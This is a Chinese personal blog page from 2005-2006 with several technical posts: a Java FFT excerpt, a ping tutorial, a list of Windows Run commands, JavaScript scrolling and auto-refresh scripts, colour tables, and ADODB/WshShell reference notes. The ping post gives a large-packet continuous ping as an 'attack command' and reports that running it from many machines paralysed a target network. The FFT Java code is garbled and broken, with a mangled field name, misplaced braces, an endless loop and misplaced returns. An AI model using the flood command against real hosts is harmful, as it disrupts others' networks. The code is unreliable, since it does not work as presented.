我的人生路  
日历
<2005年7月>
262728293012
3456789
10111213141516
17181920212223
24252627282930
31123456
统计
  • 随笔 - 74
  • 文章 - 57
  • 评论 - 7
  • 引用 - 0

导航

常用链接

留言簿(5)

随笔分类

随笔档案

文章分类

文章档案

相册

颜色

搜索

  •  

最新评论

阅读排行榜

评论排行榜

 

2005年7月8日

在java算法(Scott robert ladd)中看到快速傅立叶变换,讲的很详细,摘录下来跟大家分享!
以下正文:
FFT或许是已知的最有效的算法,他应用范围广。从信号的处理到数据压缩到地震分析和图形放大,FFT通过领域间的信息转换
提供了一个强有力的工具,本节讲讨论FFT如何改进多项式乘法的性能:
 到目前为止,我用系数形式表示多项式,但有些应用程序最适合用point-value形式表示多项式,任何多项式都可被n个点值
 对来表示,这里,value是多项式在给定点point的值,许多数学应用要使用FFT实现点值和系数之间的快速变换。
    两个多项式A和B快速相乘的过程如下:
 1,用同一组值把A和B从十形式转换为点值形式pA和pB。
 2。pA和pB对应的点值相乘,得到pC。
 3。对pC进行插值得到系数多项式C,他等于A乘上B。
表面上看,上述算法比在mul中使用之际相乘并不高效--却更复杂,选择合适的计算值可以使点-值乘法非常快。

public class PolynomialFFTextends polynomial
{
 //utility field
 final protected static Complex p|2|=new Complex(0.0D,6.283185307179586D);

 //utility methods
 protected static int log2(int n)
 {
  int x=1;
  int c=0;
  while(true)
  {
   if (x>=n) break;
   ++c;
   x<<=1;
   if (x==0) break;
   
  }
  return c;
 }
 protected static int FlipBits(int k,int bits)
 {
  int lm=1<<(bits-1);
  int rm=1;
  int r=0;
  while (lm != 0)
  {
   if ((k&rm)!=0)
   {
    r|=lm;
    lm>>=1;
    rm<<=1;
   }
  }
  return r;
 }
};

//increase degree to power of two
protected static PolynomialFFT stretchFFT(PolynomialFFT p)
{
 int n=1;
 int d=p.m_nDegree;
 while(true)
 {
  if (d<=n) break;
  n<<=1;
  if (n==0)
  {
   throw new ArithmeticException("StretchFFT failed");
  }
  n<<=1;
  return new PolynomialFFT(p.stretch(n));
 }
}

//待续

posted @ 2006-02-16 10:16 一天一点爱恋 阅读(952) | 评论 (0)编辑 收藏
 

ping命令详解

        对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。
现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:

     Options:


-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。


-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。

r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)


Pinging 202.96.105.101 with 32 bytes of data:


Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90


Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,TTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff
255---FF
  128---80
  64----40
  32----20
好了,ping命令也基本上完全讲解完了,其中还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当中有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。
 

posted @ 2005-12-30 13:46 一天一点爱恋 阅读(208) | 评论 (0)编辑 收藏
 

Windows 开始→运行→命令 集锦
winver---------检查Windows版本  
wmimgmt.msc----打开windows管理体系结构(WMI)  
wupdmgr--------windows更新程序  
wscript--------windows脚本宿主设置  
write----------写字板  
winmsd---------系统信息  
wiaacmgr-------扫描仪和照相机向导  
winchat--------XP自带局域网聊天  

mem.exe--------显示内存使用情况  
Msconfig.exe---系统配置实用程序  
mplayer2-------简易widnows media player  
mspaint--------画图板  
mstsc----------远程桌面连接  
mplayer2-------媒体播放机  
magnify--------放大镜实用程序  
mmc------------打开控制台  
mobsync--------同步命令  

dxdiag---------检查DirectX信息  
drwtsn32------ 系统医生  
devmgmt.msc--- 设备管理器  
dfrg.msc-------磁盘碎片整理程序  
diskmgmt.msc---磁盘管理实用程序  
dcomcnfg-------打开系统组件服务  
ddeshare-------打开DDE共享设置  
dvdplay--------DVD播放器  

net stop messenger-----停止信使服务  
net start messenger----开始信使服务  
notepad--------打开记事本  
nslookup-------网络管理的工具向导  
ntbackup-------系统备份和还原  
narrator-------屏幕“讲述人”  
ntmsmgr.msc----移动存储管理器  
ntmsoprq.msc---移动存储管理员操作请求  
netstat -an----(TC)命令检查接口  

syncapp--------创建一个公文包  
sysedit--------系统配置编辑器  
sigverif-------文件签名验证程序  
sndrec32-------录音机  
shrpubw--------创建共享文件夹  
secpol.msc-----本地安全策略  
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码  
services.msc---本地服务设置  
Sndvol32-------音量控制程序  
sfc.exe--------系统文件检查器  
sfc /scannow---windows文件保护  

tsshutdn-------60秒倒计时关机命令  
tourstart------xp简介(安装完成后出现的漫游xp程序)  
taskmgr--------任务管理器  

eventvwr-------事件查看器  
eudcedit-------造字程序  
explorer-------打开资源管理器  

packager-------对象包装程序  
perfmon.msc----计算机性能监测程序  
progman--------程序管理器  

regedit.exe----注册表  
rsop.msc-------组策略结果集  
regedt32-------注册表编辑器  
rononce -p ----15秒关机  
regsvr32 /u *.dll----停止dll文件运行  
regsvr32 /u zipfldr.dll------取消ZIP支持  

cmd.exe--------CMD命令提示符  
chkdsk.exe-----Chkdsk磁盘检查  
certmgr.msc----证书管理实用程序  
calc-----------启动计算器  
charmap--------启动字符映射表  
cliconfg-------SQL SERVER 客户端网络实用程序  
Clipbrd--------剪贴板查看器  
conf-----------启动netmeeting  
compmgmt.msc---计算机管理  
cleanmgr-------垃圾整理  
ciadv.msc------索引服务程序  

osk------------打开屏幕键盘  
odbcad32-------ODBC数据源管理器  
oobe/msoobe /a----检查XP是否激活  
lusrmgr.msc----本机用户和组  
logoff---------注销命令  

iexpress-------木马捆绑工具,系统自带  

Nslookup-------IP地址侦测器  

fsmgmt.msc-----共享文件夹管理器  

utilman--------辅助工具管理器  

gpedit.msc-----组策略

posted @ 2005-12-30 13:41 一天一点爱恋 阅读(333) | 评论 (0)编辑 收藏
 
 我想大家都看过各种各样的滚动(最常用的就是用在新闻的更新上面),一般情况下只要不是图片,都是用HTML本身就有提供一个很不错的滚动标记——marquee来完成的(用JS也可以同样实现这种效果);当然并不是说图片就不能那样做。
  以下为marquee的一些基本的参数:
  该标记语法格式如下:
<marquee
aligh=left|center|right|top|bottom
bgcolor=#n
direction=left|right|up|down
behavior=type
height=n
hspace=n
scrollamount=n
Scrolldelay=n
width=n
VSpace=n
loop=n>内容</marquee>

  下面解释一下各参数的含义:
  align:是设定活动字幕的位置,除了居左、居中、居右三种位置外,又增加靠上(top)和靠下(bottom)两种位置。
  Bgcolor:用于设定活动字幕的背景颜色,可以使用英文的单词也可以是十六进制数的。
  Direction:用于设定活动字幕的滚动方向是向左(left)、向右(right)、向上(up)、向下(down)。
  Behavior:用于设定滚动的方式,主要由三种方式:
behavior="scroll"表示由一端滚动到另一端;
behavior="slide":表示由一端快速滑动到另一端,且不再重复;
behavior="alternate"表示在两端之间来回滚动。
  Height:用于设定滚动字幕的高度。
  Width:则设定滚动字幕的宽度。
  Hspace和vspace:分别用于设定滚动字幕的左右边框和上下边框的宽度。
  Scrollamount:用于设定活动字幕的滚动距离。数值越小,滚动的速度就越快。
  scrolldelay:用于设定滚动两次之间的延迟时间,数值越小,间隔就越小。
  Loop:用于设定滚动的次数,当loop=-1表示一直滚动下去,直到页面更新。其中默认情况是向左滚动无限次,字幕高度是文本高度;滚动范围:水平滚动的宽度是当前位置的宽度;垂直滚动的高度是当前位置的高度。

  现在要介绍的是一种新型的滚动,利用JS的方法来做字幕的滚动:向上,在中间停顿一到两秒(就像经典的这种):
  将以下代码贴到您要显示的位置就可以了:
<script>
var marqueeContent=new Array(); //定义一个数组,用来存放显示内容
marqueeContent[0]='<A href="#" onclick="reinitMarquee()">刷新最新列表</FONT></A>';
marqueeContent[1]='<a href=http://www.blueidea.com/updatelist.asp target=_blank>站点最新更新六十条</a>';
marqueeContent[2]='<A href=http://www.blueidea.com/tech/graph/2003/875.asp target=_blank>羽毛效果制作教程</a>';
marqueeContent[3]='<A href=http://www.blueidea.com/tech/program/2003/831.asp target=_blank>MySQL&ASP</a>';
marqueeContent[4]='<A href=http://www.blueidea.com/tech/web/2003/874.asp target=_blank>初步了解CSS3</a>';
marqueeContent[5]='<A href=http://www.blueidea.com/tech/graph/2003/864.asp target=_blank>Fireworks MX 2004执行面版操作</a>';
marqueeContent[6]='<A href=http://www.blueidea.com/tech/graph/2003/872.asp target=_blank>Fireworks MX 2004等高渐变填充</a>';
marqueeContent[7]='<A href=http://www.blueidea.com/photo/gallery/2003/873.asp target=_blank>瓶子里的花</a>';
marqueeContent[8]='<A href=http://www.blueidea.com/tech/graph/2003/871.asp target=_blank>Fireworks MX 实现选项卡式效果</a>';
marqueeContent[9]='<A href=http://www.blueidea.com/photo/gallery/2003/870.asp target=_blank>情侣:黑白的爱情空气</a>';
marqueeContent[10]='<A href=http://www.blueidea.com/tech/graph/2003/866.asp target=_blank>制作 MAC 风格的苹果标志</a>';
marqueeContent[11]='<A href=http://www.blueidea.com/tech/graph/2003/868.asp target=_blank>蛋壳制作及破壳而出的人物合成</a>';

var marqueeInterval=new Array(); //定义一些常用而且要经常用到的变量
var marqueeId=0;
var marqueeDelay=4000;
var marqueeHeight=16;

//接下来的是定义一些要使用到的函数
Array.prototype.random=function() {
var a=this;
var l=a.length;
for(var i=0;i<l;i++) {
var r=Math.floor(Math.random()*(l-i));
a=a.slice(0,r).concat(a.slice(r+1)).concat(a[r]);
}
return a;
}
function initMarquee() {
marqueeContent=marqueeContent.random();
var str='';
for(var i=0;i<Math.min(3,marqueeContent.length);i++) str+=(i>0?'  ':'')+marqueeContent[i];
document.write('<div id=marqueeBox style="overflow:hidden;height:'+marqueeHeight+'px" onmouseover="clearInterval(marqueeInterval[0])" onmouseout="marqueeInterval[0]=setInterval(\'startMarquee()\',marqueeDelay)"><div>'+str+'</div></div>');
marqueeId+=2;
if(marqueeContent.length>3)marqueeInterval[0]=setInterval("startMarquee()",marqueeDelay);
}
function reinitMarquee() {
js_scroll_content.src='scroll_content2.js';
marqueeContent=marqueeContent.random();
var str='';
for(var i=0;i<Math.min(3,marqueeContent.length);i++) str+=(i>0?'  ':'')+marqueeContent[i];
marqueeBox.childNodes[(marqueeBox.childNodes.length==1?0:1)].innerHTML=str;
marqueeId=2;
}
function startMarquee() {
var str='';
for(var i=0;(i<3)&&(marqueeId+i<marqueeContent.length);i++) {
str+=(i>0?'  ':'')+marqueeContent[marqueeId+i];
}
marqueeId+=3;
if(marqueeId>marqueeContent.length)marqueeId=0;

if(marqueeBox.childNodes.length==1) {
var nextLine=document.createElement('DIV');
nextLine.innerHTML=str;
marqueeBox.appendChild(nextLine);
}
else {
marqueeBox.childNodes[0].innerHTML=str;
marqueeBox.appendChild(marqueeBox.childNodes[0]);
marqueeBox.scrollTop=0;
}
clearInterval(marqueeInterval[1]);
marqueeInterval[1]=setInterval("scrollMarquee()",20);
}
function scrollMarquee() {
marqueeBox.scrollTop++;
if(marqueeBox.scrollTop%marqueeHeight==(marqueeHeight-1)){
clearInterval(marqueeInterval[1]);
}
}
initMarquee();
</script>

  以上已经将网站的这种滚动的做法做了一个大概的介绍。
posted @ 2005-07-29 11:39 一天一点爱恋 阅读(360) | 评论 (0)编辑 收藏
 
<script>
<!--

var limit="0:15"

if (document.images){
var parselimit=limit.split(":")
parselimit=parselimit[0]*60+parselimit[1]*1
}
function beginrefresh(){
if (!document.images)
return
if (parselimit==1)
window.location.reload()
else{
parselimit-=1
curmin=Math.floor(parselimit/60)
cursec=parselimit%60
if (curmin!=0)
curtime=curmin+"分"+cursec+"秒后重刷本页!"
else
curtime=cursec+"秒后重刷本页!"
window.status=curtime
setTimeout("beginrefresh()",1000)
}
}

window.onload=beginrefresh
//-->
</script>

以上代码加入HEAD区即可。

说明:有人说,我可以使用<meta http-equiv="refresh">来刷新当前页面,为什么要用这个脚本呢?是的,的确是这样。但是这个脚本可以在状态栏显示剩余的时间。不管怎样,随您的便。其实这个脚本可以作出其它许多花样的。如果将window.location.reload()改成window.location.href="http://www.yahoo.com"等地址,可以在规定时间到来后指向任意的页面。

源程序讲解:

var limit="0:10"
声明一个变量,表示几分几秒。
if (document.images)
{ var parselimit=limit.split(":")
用“;”分隔变量limit。
parselimit=parselimit[0]*60+
parselimit[1]*1}
把limit变量变成秒数,并返回整数。
function beginrefresh()
{ if (!document.images)
return
定义刷新函数。
if (parselimit==1)
window.location.reload()
else{ parselimit-=1
curmin=Math.floor(parselimit/60) cursec=parselimit%60
if (curmin!=0)
curtime=curmin+"分"+cursec+
"秒后重刷本页!"
else curtime=cursec+"秒后重刷本页!"
window.status=curtime
如果,还剩一秒,就刷新页面,否则,对limit变量取整,在状态栏中输出“几分几秒后刷新本页”。

setTimeout("beginrefresh()",1000) }} 一秒,调用一次beginrefresh()函数。
window.onload=beginrefresh 页面一下载,就调用beginrefresh函数。
源程序讲解:

var limit="0:10"
声明一个变量,表示几分几秒。
if (document.images)
{ var parselimit=limit.split(":")
用“;”分隔变量limit。
parselimit=parselimit[0]*60+
parselimit[1]*1}
把limit变量变成秒数,并返回整数。
function beginrefresh()
{ if (!document.images)
return
定义刷新函数。
if (parselimit==1)
window.location.reload()
else{ parselimit-=1
curmin=Math.floor(parselimit/60) cursec=parselimit%60
if (curmin!=0)
curtime=curmin+"分"+cursec+
"秒后重刷本页!"
else curtime=cursec+"秒后重刷本页!"
window.status=curtime
如果,还剩一秒,就刷新页面,否则,对limit变量取整,在状态栏中输出“几分几秒后刷新本页”。

setTimeout("beginrefresh()",1000) }} 一秒,调用一次beginrefresh()函数。
window.onload=beginrefresh 页面一下载,就调用beginrefresh函数。

posted @ 2005-07-15 16:26 一天一点爱恋 阅读(555) | 评论 (1)编辑 收藏
 
HTML源代码加密/解密工具

输入网址,可查看对方html源码: 

将要处理的HTML文档的源代码复制到下面的文本框内,可以进行多次加密解密:

           

posted @ 2005-07-14 17:38 一天一点爱恋 阅读(471) | 评论 (0)编辑 收藏
 

-> 脚本编码/解码工具




说明:加密时应只加密脚本部分,不加密脚本标记<script language="javascript">,并且加密后脚本标记应改为:<script language="JScript.Encode">

posted @ 2005-07-14 17:36 一天一点爱恋 阅读(373) | 评论 (0)编辑 收藏
 
     摘要: 标准颜色参考工具 该表所有颜色来自于W3C的SVG颜色关键词,即X11的颜色列表,亦是CSS3颜色模块所指定的颜色。详情可参见: [X11颜色]和[SVG 1.0颜色关键词名称]及 [CSS3颜色模块] 。 本表共147行颜色值,除去以grey名命的重复颜色7行,共140种命名颜色。该七种颜色为: darkgrey,暗灰色;darkslategrey,暗瓦灰色;dimgrey,暗灰色...  阅读全文
posted @ 2005-07-14 17:17 一天一点爱恋 阅读(619) | 评论 (0)编辑 收藏
 

颜色工具

  • 资料来源:W3C
  • 下面的每一个表代表一种色调。每个色调以30度间隔从色环取得。
  • 表中的X轴代表饱和度(100%, 75%, 50%, 25%, 0%)。
  • Y轴代表亮度。50% 属于 '正常'。
0度   红
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFBFBF #F7C7C7 #EFCFCF #E7D7D7 #DFDFDF
75 #FF8080 #EF8F8F #DF9F9F #CFAFAF #BFBFBF
63 #FF4040 #E75858 #CF7070 #B78787 #9F9F9F
50 #FF0000 #DF2020 #BF4040 #9F6060 #808080
38 #BF0000 #A71818 #8F3030 #784848 #606060
25 #800000 #701010 #602020 #503030 #404040
13 #400000 #380808 #301010 #281818 #202020
0 #000000 #000000 #000000 #000000 #000000
30度   红-黄 (=橙)
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFDFBF #F7DFC7 #EFDFCF #E7DFD7 #DFDFDF
75 #FFBF80 #EFBF8F #DFBF9F #CFBFAF #BFBFBF
63 #FF9F40 #E79F58 #CF9F70 #B79F87 #9F9F9F
50 #FF8000 #DF8020 #BF8040 #9F8060 #808080
38 #BF6000 #A76018 #8F6030 #786048 #606060
25 #804000 #704010 #604020 #504030 #404040
13 #402000 #382008 #302010 #282018 #202020
0 #000000 #000000 #000000 #000000 #000000
60度   黄
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFFFBF #F7F7C7 #EFEFCF #E7E7D7 #DFDFDF
75 #FFFF80 #EFEF8F #DFDF9F #CFCFAF #BFBFBF
63 #FFFF40 #E7E758 #CFCF70 #B7B787 #9F9F9F
50 #FFFF00 #DFDF20 #BFBF40 #9F9F60 #808080
38 #BFBF00 #A7A718 #8F8F30 #787848 #606060
25 #808000 #707010 #606020 #505030 #404040
13 #404000 #383808 #303010 #282818 #202020
0 #000000 #000000 #000000 #000000 #000000
90度   黄-绿
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #DFFFBF #DFF7C7 #DFEFCF #DFE7D7 #DFDFDF
75 #BFFF80 #BFEF8F #BFDF9F #BFCFAF #BFBFBF
63 #9FFF40 #9FE758 #9FCF70 #9FB787 #9F9F9F
50 #80FF00 #80DF20 #80BF40 #809F60 #808080
38 #60BF00 #60A718 #608F30 #607848 #606060
25 #408000 #407010 #406020 #405030 #404040
13 #204000 #203808 #203010 #202818 #202020
0 #000000 #000000 #000000 #000000 #000000
120度   绿
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFFFBF #C7F7C7 #CFEFCF #D7E7D7 #DFDFDF
75 #80FF80 #8FEF8F #9FDF9F #AFCFAF #BFBFBF
63 #40FF40 #58E758 #70CF70 #87B787 #9F9F9F
50 #00FF00 #20DF20 #40BF40 #609F60 #808080
38 #00BF00 #18A718 #308F30 #487848 #606060
25 #008000 #107010 #206020 #305030 #404040
13 #004000 #083808 #103010 #182818 #202020
0 #000000 #000000 #000000 #000000 #000000
150度   绿-青
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFFFDF #C7F7DF #CFEFDF #D7E7DF #DFDFDF
75 #80FFBF #8FEFBF #9FDFBF #AFCFBF #BFBFBF
63 #40FF9F #58E79F #70CF9F #87B79F #9F9F9F
50 #00FF80 #20DF80 #40BF80 #609F80 #808080
38 #00BF60 #18A760 #308F60 #487860 #606060
25 #008040 #107040 #206040 #305040 #404040
13 #004020 #083820 #103020 #182820 #202020
0 #000000 #000000 #000000 #000000 #000000
180度   青
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFFFFF #C7F7F7 #CFEFEF #D7E7E7 #DFDFDF
75 #80FFFF #8FEFEF #9FDFDF #AFCFCF #BFBFBF
63 #40FFFF #58E7E7 #70CFCF #87B7B7 #9F9F9F
50 #00FFFF #20DFDF #40BFBF #609F9F #808080
38 #00BFBF #18A7A7 #308F8F #487878 #606060
25 #008080 #107070 #206060 #305050 #404040
13 #004040 #083838 #103030 #182828 #202020
0 #000000 #000000 #000000 #000000 #000000
210度   青-蓝
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFDFFF #C7DFF7 #CFDFEF #D7DFE7 #DFDFDF
75 #80BFFF #8FBFEF #9FBFDF #AFBFCF #BFBFBF
63 #409FFF #589FE7 #709FCF #879FB7 #9F9F9F
50 #0080FF #2080DF #4080BF #60809F #808080
38 #0060BF #1860A7 #30608F #486078 #606060
25 #004080 #104070 #204060 #304050 #404040
13 #002040 #082038 #102030 #182028 #202020
0 #000000 #000000 #000000 #000000 #000000
240度   蓝
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFBFFF #C7C7F7 #CFCFEF #D7D7E7 #DFDFDF
75 #8080FF #8F8FEF #9F9FDF #AFAFCF #BFBFBF
63 #4040FF #5858E7 #7070CF #8787B7 #9F9F9F
50 #0000FF #2020DF #4040BF #60609F #808080
38 #0000BF #1818A7 #30308F #484878 #606060
25 #000080 #101070 #202060 #303050 #404040
13 #000040 #080838 #101030 #181828 #202020
0 #000000 #000000 #000000 #000000 #000000
270度   蓝-紫
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #DFBFFF #DFC7F7 #DFCFEF #DFD7E7 #DFDFDF
75 #BF80FF #BF8FEF #BF9FDF #BFAFCF #BFBFBF
63 #9F40FF #9F58E7 #9F70CF #9F87B7 #9F9F9F
50 #8000FF #8020DF #8040BF #80609F #808080
38 #6000BF #6018A7 #60308F #604878 #606060
25 #400080 #401070 #402060 #403050 #404040
13 #200040 #200838 #201030 #201828 #202020
0 #000000 #000000 #000000 #000000 #000000
300度   紫
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFBFFF #F7C7F7 #EFCFEF #E7D7E7 #DFDFDF
75 #FF80FF #EF8FEF #DF9FDF #CFAFCF #BFBFBF
63 #FF40FF #E758E7 #CF70CF #B787B7 #9F9F9F
50 #FF00FF #DF20DF #BF40BF #9F609F #808080
38 #BF00BF #A718A7 #8F308F #784878 #606060
25 #800080 #701070 #602060 #503050 #404040
13 #400040 #380838 #301030 #281828 #202020
0 #000000 #000000 #000000 #000000 #000000
330度   紫-红
饱和度
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFBFDF #F7C7DF #EFCFDF #E7D7DF #DFDFDF
75 #FF80BF #EF8FBF #DF9FBF #CFAFBF #BFBFBF
63 #FF409F #E7589F #CF709F #B7879F #9F9F9F
50 #FF0080 #DF2080 #BF4080 #9F6080 #808080
38 #BF0060 #A71860 #8F3060 #784860 #606060
25 #800040 #701040 #602040 #503040 #404040
13 #400020 #380820 #301020 #281820 #202020
0 #000000 #000000 #000000 #000000 #000000

posted @ 2005-07-14 17:14 一天一点爱恋 阅读(507) | 评论 (0)编辑 收藏
 
1.Stream对象

组件:"Adodb.Stream"
有下列方法:
Cancel 方法
   使用方法如下
   Object.Cancel
   说明:取消执行挂起的异步 Execute 或 Open 方法的调用。
Close 方法
   使用方法如下
   Object.Close
   :关闭对像
CopyTo 方法
   使用方法如下
   Object.CopyTo(destStream,[CharNumber])
   说明:将对像的数据复制,destStream指向要复制的对像,CharNumber为可选参数,指要复制的字节数,不选为全部复制。
Flush 方法
   使用方法如下
   Object.Flush
   说明:
LoadFromFile 方法
   使用方法如下
   Object.LoadFromFile(FileName)
   说明:将FileName指定的文件装入对像中,参数FileName为指定的用户名。
Open 方法
    使用方法如下
    Object.Open(Source,[Mode],[Options],[UserName],[Password])
    说明:打开对像,
    参数说明:Sourece 对像源,可不指定
Mode 指定打开模式,可不指定,可选参数如下:
   adModeRead =1
   adModeReadWrite =3
   adModeRecursive =4194304
   adModeShareDenyNone =16
   adModeShareDenyRead =4
   adModeShareDenyWrite =8
   adModeShareExclusive =12
   adModeUnknown =0
   adModeWrite =2
Options 指定打开的选项,可不指定,可选参数如下:
   adOpenStreamAsync =1
   adOpenStreamFromRecord =4
   adOpenStreamUnspecified=-1
  UserName 指定用户名,可不指定。
  Password 指定用户名的密码
Read 方法
使用方法如下:
Object.Read(Numbytes)
说明:读取指定长度的二进制内容。
参数说明:Numbytes指定的要读取的找度,不指定则读取全部。

ReadText 方法
使用方法如下:
Object.ReadText(NumChars)
说明:读取指定长度的文本
参数说明:NumChars指定的要读取的找度,不指定则读取全部。

SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
说明:将对像的内容写到FileName指定的文件中
参数说明:FileName指定的文件
   Options 存取的选项,可不指定,可选参数如下:
    adSaveCreateNotExist =1
    adSaveCreateOverWrite =2

SetEOS 方法
使用方法如下:
Object.setEOS()
说明:
SkipLine 方法
使用方法如下:
Object.SkipLine()
说明:
Write 方法
使用方法如下:
Object.Write(Buffer)
说明:将指定的数据装入对像中。
参数说明:Buffer 为指定的要写入的内容。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
说明:将指定的文本数据装入对像中。
参数说明:Data 为指定的要写入的内容。
      Options 写入的选项,可不指定,可选参数如下:
   adWriteChar =0
   adWriteLine =1

 

有下列属性:
Charset
EOS 返回对像内数据是否为空。

LineSeparator 指定换行格式,可选参数有
  adCR  =13
  adCRLF  =-1
  adLF  =10

Mode 指定或返加模式。

Position 指定或返回对像内数据的当前指针。(新OPEN的:0)

Size 返回对像内数据的大小。

State 返加对像状态是否打开。

Type 指定或返回的数据类型,可选参数为:
  adTypeBinary =1
  adTypeText =2

2.WshShell和WshUrlShortcut 对象

WshShell 对象
ProgID Wscript.Shell
文件名 WSHom.Ocx
CLSID F935DC22-1CF0-11d0-ADB9-00C04FD58A0B
IID F935DC21-1CF0-11d0-ADB9-00C04FD58A0B

下表说明和 WshShell 对象有关的属性。

属性 说明
Environment 返回 WshEnvironment 集合对象。
SpecialFolders 使用 WshSpecialFolders 对象提供对 Windows shell 文件夹的访问,如桌面文件夹,开始菜单文件夹和个人文档文件夹。

下表说明和 WshShell 对象有关的方法。

方法 说明
CreateShortcut 创建并返回 WshShortcut 对象。
ExpandEnvironmentStrings 扩展 PROCESS 环境变量并返回结果字符串。
Popup 显示包含指定消息的消息窗口。
RegDelete 从注册表中删除指定的键或值。
RegRead 从注册表中返回指定的键或值。
RegWrite 在注册表中设置指定的键或值。
Run 创建新的进程,该进程用指定的窗口样式执行指定的命令。

WshShell.Environment
Environment 属性返回 WshEnvironment 对象。

语法
WshShell.Environment ( [strType]) = objWshEnvironment

注释
若 strType 指定了环境变量所处的位置,可能值为 "System"、"User"、"Volatile" 和 "Process"。若未提供 strType,则该方法在 Windows NT 中检索系统环境变量或在 Windows 95 中检索进程环境变量。

